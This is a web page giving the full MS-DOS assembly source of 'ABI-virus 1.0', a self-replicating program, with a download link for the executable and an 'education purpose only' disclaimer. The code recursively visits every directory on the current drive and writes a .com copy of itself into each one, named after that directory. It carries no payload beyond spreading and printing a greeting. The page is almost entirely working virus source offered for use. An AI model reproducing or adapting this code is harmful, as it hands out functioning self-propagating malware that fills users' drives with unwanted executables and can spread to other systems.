ABI-VIRUS 1.0
(ASM program)

        "What is a computer virus?  Simply put, it is a program that reproduces. When it is executed, it simply makes one or more copies of itself.Those copies may later be exexcuted to created still more copies, ad infinitum."
             Mark Ludwig, author of The little black book of computer viruses.

 

                 Thie abi-virus 1.0  will make it's copy in almost all normal directories of the current drive. It will not try to attack any file.

;########################################################### ;# ABI-virus 1.0 # ;# Tested in Turbo Assembler, version 3.0 # ;#########################24/7/2008######################### .MODEL TINY O EQU offset B EQU byte ptr EOL EQU 0 ; AsciiZ string terminator. .CODE ORG 100h START: V_S: ;---------------; Virus starts here. ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PROC Main ;;;;;;;;;;;;;; mov ah , 19h ; int 21h ; add B[O drive] , al ; mov dx , O drive ; mov ah , 3Bh ; int 21h ; Change current dir to current drive. mov al , 'A' ; mov B[O drive] , al ; Patch work for new virus. mov dx , O hallo ; mov ah , 9h ; int 21h ; Display "hallo World" message. ENDP Main ;;;;;;;;;;;;;; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PROC SearchDir ;;;;;;;;; push bp ; sub sp , 43h ; mov bp , sp ; Preparation for starting a procedure. mov dx , bp ; mov ah , 1Ah ; int 21h ; Change DTA to stack. mov cx , 10h ; mov dx , O allfile ; mov ah , 4Eh ; Find first file search for normal file or dir. SearchLoop: ; ; ; ; ; ;; int 21h ; jc _NotFound ; If there is no more files, then jump. mov al , [bp+15h] ; cmp al , 10h ; jne _NextFile ; Continue only if the new file is a normal dir. cmp B[bp+1Eh] , '.' ; je _NextFile ; Continue only if the dir is not "." or "..". lea dx , [bp+1Eh] ; mov ah , 3Bh ; int 21h ; jc _ToParent ; Change the current dir to the new dir. cmp B[bp+1Eh+6], '~'; je _ToChild ; Avoid the dir which has more than 8-char name. lea si , [bp+1Eh] ; mov di , O virusDir ; _DirName: ; mov al , [si] ; or al , al ; jz _AddExt ; mov [di] , al ; inc si ; inc di ; jmp _DirName ; ; _AddExt: ; mov si , O comExt ; mov cx , 6 ; Make new name for the virus to the current dir. rep movsb ; The name is current dir name with "com" extention. ;;; check the file exist or not. mov dx , 80h ; mov ah , 1Ah ; int 21h ; Change DTA to default location. ; mov ah , 4eh ; mov dx , O virusDir ; int 21h ; Search first for the pwd has its copy. ; mov dx , bp ; mov ah , 1Ah ; int 21h ; Restore DTA. ; jnc _ToChild ; If file found, avoid file creation. ;;; Make a copy in pwd. mov dx , O virusDir ; xor cx , cx ; mov ah , 3Ch ; int 21h ; Create new file. ; mov bx , ax ; mov dx , O V_S ; mov cx , V_E - V_S ; mov ah , 40h ; int 21h ; Write to new virus file. ; mov ah , 3Eh ; int 21h ; Close the file. _ToChild: call SearchDir ; Search the sub-directory. mov dx , bp ; mov ah , 1Ah ; int 21h ; Restore DTA. _ToParent: mov dx , O parenDir ; mov ah , 3Bh ; int 21h ; Change the current dir to its parent dir. _NextFile: mov ah , 4Fh ; jmp SearchLoop ; ; ; ;; Find next file search. _NotFound: add sp , 43h ; pop bp ; Preparation for ending a procedure. ret ; ENDP SearchDir ;;;;;;;;; ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ;;;;;;;;;;;;;;;;;;;;;;; hallo DB "Hallo World$" ; virusDir DB 14 dup(?) ; comExt DB ".com" , EOL ; parenDir DB ".." , EOL ; Variable declarations. allFile DB "*" , EOL ; drive DB "A:\" , EOL ; ;;;;;;;;;;;;;;;;;;;;;;; V_E: ;---------------; Virus ends here. END START ;########################################################### ;# More programs: http://programs.on.googlepages.com # ;# Please report bugs to: programs.on@gmail.com # ;##217 Bytes#####################################164 lines##
Click here to download the executable file (zip form) of this program.

Desclaimer

        It is for education purpose only. Don't try to misuse. Iam not responsible for this exe file if it causes any damages.